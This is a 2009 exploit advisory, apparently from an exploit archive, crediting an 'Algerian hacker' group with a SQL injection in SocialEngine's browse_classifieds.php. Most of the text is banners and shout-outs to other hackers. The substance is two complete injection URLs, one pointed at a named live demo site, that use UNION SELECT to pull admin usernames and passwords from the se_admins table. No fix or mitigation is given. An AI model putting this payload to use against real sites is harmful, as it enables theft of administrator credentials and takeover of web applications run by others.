Social Engine (browse_classifieds.php s) SQL Injection Vulnerability

2009-01-11 06:34:25

==================================================================================================================
= SSSSS NN N AA K K EEEEE SSSSS TTTTTTTTT EEEEE AA MM MM =
= S N N N A A K K E S T E A A M M M M =
+ SSSSS N N N AAAAAA KKK EEEEE SSSSS T EEEEE AAAAAA M M M M +
= S N N N A A K K E S T E A A M M M =
= SSSSS N NN A A K K EEEEE SSSSS T EEEEE A A M M =
===================================================SNAKES TEAM====================================================
+ =
= Script:social network Remote SQL Injection Vulnerability +
+ =
==============================================:::ALGERIAN HaCkEr:::===============================================
= = = =
= = Discovered By: Snakespc :::ALGERIAN HaCkEr::: = =
= =
:::::Mail: [email protected]:::::::
= =
= = ::::script Demo: http://www.socialengine.net/demos.php:::: = =
= =
= "browse_classifieds.php" =
===================================GAZA=============================================

Exploit:
http://localhost/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+UNION%20SELECT%20concat(admin_username,0x3a,admin_password),2,3+from+se_admins
********
demo:
http://www.socialenginedev.com/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+UNION%20SELECT%20concat(admin_username,0x3a,admin_password),2,3+from+se_admins
================================================================= áÇ ÅáÜÜÜå ÅáÇ Çááå ãÍãÏ ÑÓÜÜÜæá Çááå =================================================

Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N:::
ALL www.Snakespc.com/SC >>>> Members
Str0ke ....Milw0rm
================================================================== ÇáäÜÜÜÜÕÑ ÍáíÝäÜÜÜÜÇ íÇ ÛÜÜÜÜÜÒÉ ====================================================

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.